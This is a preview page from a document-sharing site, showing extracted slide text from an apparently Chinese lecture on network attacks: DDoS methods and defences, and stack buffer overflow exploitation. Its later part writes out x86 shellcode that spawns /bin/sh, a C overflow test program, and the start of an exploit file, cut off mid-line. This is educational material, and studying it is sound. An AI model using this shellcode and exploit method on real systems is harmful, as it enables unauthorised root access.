预览加载中,请您耐心等待几秒...
1/10
2/10
3/10
4/10
5/10
6/10
7/10
8/10
9/10
10/10

亲,该文档总共101页,到这已经超出免费预览范围,如果喜欢就直接下载吧~

如果您无法下载资料,请参考说明:

1、部分资料下载需要金币,请确保您的账户上有足够的金币

2、已购买过的文档,再次下载不重复扣费

3、资料包下载后请先用软件解压,在使用对应软件打开

网络攻击技术目录网络攻击技术简介攻击分类攻击步骤与方法入侵攻击欺骗攻击会话劫持攻击缓冲区溢出攻击保留访问权限保留访问权限(续)隐藏踪迹隐藏踪迹(续)目录分布式拒绝服务攻击的实施及预防措施DDoS的诞生拒绝服务攻击分布式拒绝服务攻击分布式拒绝服务攻击特点DDoS攻击过程DDoS攻击的网络结构DDoS所利用的协议漏洞DDoS所利用的协议漏洞(续).DDoS攻击的五种常用方式DDoS攻击的五种常用方式DDoS攻击的五种常用方式DDoS攻击的五种常用方式DDoS攻击新技术——反弹技术反弹技术原理反弹技术实现DDoS攻击与传统DDoS攻击的区别:DDoS攻击下的防御DDoS攻击下的防御网络流量的几种异常模式网络流量的几种异常模式网络监测工具的使用拒绝服务监控系统的设计拒绝服务监控系统的设计拒绝服务监控系统的设计目录缓冲区溢出攻击与防御概念原因后果缓冲区溢出攻击与防御回顾C语言一:指针型攻击方法取得成功必须具备下列条件攻击实施过程二:数组型攻击方法必须满足的条件实施过程一实施过程二堆栈结构看一段小程序运行时的堆栈分配执行完gets(name)之后堆栈溢出如何书写一个shellcode加入系统调用exit代码设计思路jmpcall的偏移地址#2bytespoplesi#1byte//popl出来的是string的地址。movlesiarray-offset(esi)#3bytes//在string+8处构造name数组//name[0]放string的地址movb$0x0nullbyteoffset(esi)#4bytes//string+7处放0作为string的结尾。movl$0x0null-offset(esi)#7bytes//name[1]放0。movl$0xbeax#5bytes//eax=0xb是execve的syscall代码movlesiebx#2bytes//ebx=string的地址lealarray-offset(esi)ecx#3bytes//ecx=name数组的开始地址lealnull-offset(esi)edx#3bytes//edx=name[1]的地址int$0x80#2bytes//int0x80是syscallmovl$0x1eax#5bytes//eax=0x1是exit的syscall代码movl$0x0ebx#5bytes//ebx=0是exit的返回值int$0x80#2bytes//int0x80是syscallcallpopl的偏移地址#5bytes//这里放callstring的地址就会作为/bin/sh字符串返回地址压栈测试程序charlarge_string[128];voidmain(){charbuffer[96];inti;long*long_ptr=(long*)large_string;for(i=0;i<32;i++)*(long_ptr+i)=(int)buffer;for(i=0;i<strlen(shellcode);i++)large_string[i]=shellcode[i];strcpy(bufferlarge_string);}在执行完strcpy后堆栈内容如下所示:利用别人的程序的堆栈溢出获得rootshell意味着…但是获得堆栈开始地址开始猜exploit1.c#include<stdio.h>#include<stdlib.h>#defineOFFSET0#defineRET_POSITION1024#defineRANGE20#defineNOP